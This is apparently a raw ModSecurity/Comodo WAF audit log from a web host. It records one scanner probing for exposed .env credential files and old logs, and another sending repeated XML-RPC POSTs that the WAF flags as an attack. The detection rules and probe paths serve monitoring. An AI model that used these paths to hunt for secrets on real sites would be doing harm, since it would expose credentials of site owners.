<https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=07440c9bf9c2e50345bffa9e2c89befe1750029221; expires=Mon, 16 Jun 2025 00:13:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --183a633c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/administrateur/.env.staging"] [unique_id "aE9TpMalTF-TysO2fMOC8QAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029220933642 666667 (- - -) Stopwatch2: 1750029220933642 666667; combined=1576, p1=368, p2=1128, p3=0, p4=0, p5=80, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --183a633c-Z-- --6ea0a263-A-- [16/Jun/2025:04:43:47.539692 +0530] aE9TqnwHSJGQ1A1pR0qbUQAAAAY 185.177.72.210 42422 127.0.0.1 7081 --6ea0a263-B-- GET /docker/dev/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6ea0a263-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=eddf3a022b5eeb7eaa13895cd36c8f411750029227; expires=Mon, 16 Jun 2025 00:13:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6ea0a263-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/docker/dev/.env"] [unique_id "aE9TqnwHSJGQ1A1pR0qbUQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029226855537 684240 (- - -) Stopwatch2: 1750029226855537 684240; combined=1629, p1=361, p2=1166, p3=0, p4=0, p5=101, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6ea0a263-Z-- --2aa1304b-A-- [16/Jun/2025:04:43:51.559169 +0530] aE9TruxC6fQU5wYvxvlz3wAAAAk 185.177.72.210 41724 127.0.0.1 7081 --2aa1304b-B-- GET /:8080/test/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2aa1304b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e743417a4af60efdc9c911497f59d17d1750029231; expires=Mon, 16 Jun 2025 00:13:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2aa1304b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/test/.env"] [unique_id "aE9TruxC6fQU5wYvxvlz3wAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029230848285 710978 (- - -) Stopwatch2: 1750029230848285 710978; combined=1959, p1=393, p2=1465, p3=0, p4=0, p5=100, sr=109, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2aa1304b-Z-- --fd94ec4d-A-- [16/Jun/2025:04:44:04.872860 +0530] aE9TvJbumDYPKpRD2ekqtwAAAAA 185.177.72.210 47088 127.0.0.1 7081 --fd94ec4d-B-- GET /bitrix/modules/error.log.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fd94ec4d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=01be436c97a97e5c6a84adba5af12f6a1750029244; expires=Mon, 16 Jun 2025 00:14:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fd94ec4d-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".log.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".log.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/bitrix/modules/error.log.old"] [unique_id "aE9TvJbumDYPKpRD2ekqtwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029244225126 647877 (- - -) Stopwatch2: 1750029244225126 647877; combined=1950, p1=346, p2=1490, p3=0, p4=0, p5=113, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fd94ec4d-Z-- --cdf1f609-A-- [16/Jun/2025:04:44:07.192027 +0530] aE9Tvn2GhYywD7zZgx4FZwAAAAM 128.199.112.101 47176 127.0.0.1 7081 --cdf1f609-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --cdf1f609-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --cdf1f609-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (48+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (48+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9Tvn2GhYywD7zZgx4FZwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029246180054 1012028 (- - -) Stopwatch2: 1750029246180054 1012028; combined=2384, p1=406, p2=1594, p3=41, p4=71, p5=171, sr=112, sw=101, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cdf1f609-Z-- --2db3bc2d-A-- [16/Jun/2025:04:44:27.931962 +0530] aE9T01xTdrwJSUMoZvG1rQAAAAc 185.177.72.210 34266 127.0.0.1 7081 --2db3bc2d-B-- GET /example27-how-to-load-env/sample01/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2db3bc2d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=473d86cf676238385413c6fa3b239fdf1750029267; expires=Mon, 16 Jun 2025 00:14:27 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2db3bc2d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/example27-how-to-load-env/sample01/.env"] [unique_id "aE9T01xTdrwJSUMoZvG1rQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029267242271 689754 (- - -) Stopwatch2: 1750029267242271 689754; combined=1902, p1=345, p2=1468, p3=0, p4=0, p5=89, sr=82, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2db3bc2d-Z-- --16476c02-A-- [16/Jun/2025:04:44:29.967890 +0530] aE9T1VxTdrwJSUMoZvG1rgAAAAc 185.177.72.210 34386 127.0.0.1 7081 --16476c02-B-- GET /.env.例 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --16476c02-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=183c6357b444019423d7262ce308548e1750029269; expires=Mon, 16 Jun 2025 00:14:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --16476c02-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.\\\\xe4\\\\xbe\\\\x8b"] [unique_id "aE9T1VxTdrwJSUMoZvG1rgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029269288679 679275 (- - -) Stopwatch2: 1750029269288679 679275; combined=1838, p1=496, p2=1241, p3=0, p4=0, p5=100, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --16476c02-Z-- --b110fe7a-A-- [16/Jun/2025:04:44:32.691371 +0530] aE9T2FxTdrwJSUMoZvG1rwAAAAc 185.177.72.210 40540 127.0.0.1 7081 --b110fe7a-B-- GET /credentials/.env.prod HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b110fe7a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fc789e2b679c6dbd5a8a291ff1660b661750029272; expires=Mon, 16 Jun 2025 00:14:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b110fe7a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/credentials/.env.prod"] [unique_id "aE9T2FxTdrwJSUMoZvG1rwAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029272015811 675651 (- - -) Stopwatch2: 1750029272015811 675651; combined=1990, p1=403, p2=1454, p3=0, p4=0, p5=133, sr=103, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b110fe7a-Z-- --b216d01f-A-- [16/Jun/2025:04:44:39.418752 +0530] aE9T3nwHSJGQ1A1pR0qbawAAAAY 185.177.72.210 40766 127.0.0.1 7081 --b216d01f-B-- GET /:8888/server/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b216d01f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c900be72d25ac3d188492e1c1e5f069f1750029279; expires=Mon, 16 Jun 2025 00:14:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b216d01f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/server/.env"] [unique_id "aE9T3nwHSJGQ1A1pR0qbawAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029278763679 655134 (- - -) Stopwatch2: 1750029278763679 655134; combined=1660, p1=363, p2=1210, p3=0, p4=0, p5=87, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b216d01f-Z-- --68957a38-A-- [16/Jun/2025:04:44:46.282465 +0530] aE9T5X2GhYywD7zZgx4FeQAAAAM 185.177.72.210 33478 127.0.0.1 7081 --68957a38-B-- GET /dashboard/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --68957a38-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5ff63c1be052710be5442ff8d8ba976b1750029286; expires=Mon, 16 Jun 2025 00:14:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --68957a38-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/dashboard/.env"] [unique_id "aE9T5X2GhYywD7zZgx4FeQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029285601923 680606 (- - -) Stopwatch2: 1750029285601923 680606; combined=1877, p1=382, p2=1396, p3=0, p4=0, p5=99, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --68957a38-Z-- --f7c9f072-A-- [16/Jun/2025:04:44:49.530629 +0530] aE9T6EoyC4_VyyL7sS6MgQAAAAI 185.177.72.210 33600 127.0.0.1 7081 --f7c9f072-B-- GET /babel-plugin-dotenv/test/fixtures/empty-values/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f7c9f072-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c4d29df21ce3a966af3cb9d9abfba6471750029289; expires=Mon, 16 Jun 2025 00:14:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f7c9f072-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/babel-plugin-dotenv/test/fixtures/empty-values/.env"] [unique_id "aE9T6EoyC4_VyyL7sS6MgQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029288853202 677489 (- - -) Stopwatch2: 1750029288853202 677489; combined=1687, p1=379, p2=1225, p3=0, p4=0, p5=82, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f7c9f072-Z-- --b7ea4170-A-- [16/Jun/2025:04:44:50.518559 +0530] aE9T6X2GhYywD7zZgx4FewAAAAM 185.177.72.210 37674 127.0.0.1 7081 --b7ea4170-B-- GET /iisadmpwd/aexp2.htr HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b7ea4170-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2c401da0c45c2e26b0b16d09a0f8e6b71750029290; expires=Mon, 16 Jun 2025 00:14:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b7ea4170-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".htr"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".htr"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/iisadmpwd/aexp2.htr"] [unique_id "aE9T6X2GhYywD7zZgx4FewAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029289853492 665162 (- - -) Stopwatch2: 1750029289853492 665162; combined=1863, p1=319, p2=1423, p3=0, p4=0, p5=121, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b7ea4170-Z-- --0ad1115e-A-- [16/Jun/2025:04:45:07.084981 +0530] aE9T-vNXjUHq-Wm7C_8ZnAAAAAQ 128.199.112.101 40500 127.0.0.1 7081 --0ad1115e-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --0ad1115e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --0ad1115e-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9T-vNXjUHq-Wm7C_8ZnAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029306130004 955033 (- - -) Stopwatch2: 1750029306130004 955033; combined=2330, p1=459, p2=1449, p3=47, p4=70, p5=188, sr=96, sw=117, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0ad1115e-Z-- --58952929-A-- [16/Jun/2025:04:45:09.037553 +0530] aE9T_PNXjUHq-Wm7C_8ZnQAAAAQ 185.177.72.210 40618 127.0.0.1 7081 --58952929-B-- GET /:8880/front-app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --58952929-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fab5ec7b72884e247ae0223f2744b1e21750029308; expires=Mon, 16 Jun 2025 00:15:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --58952929-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] 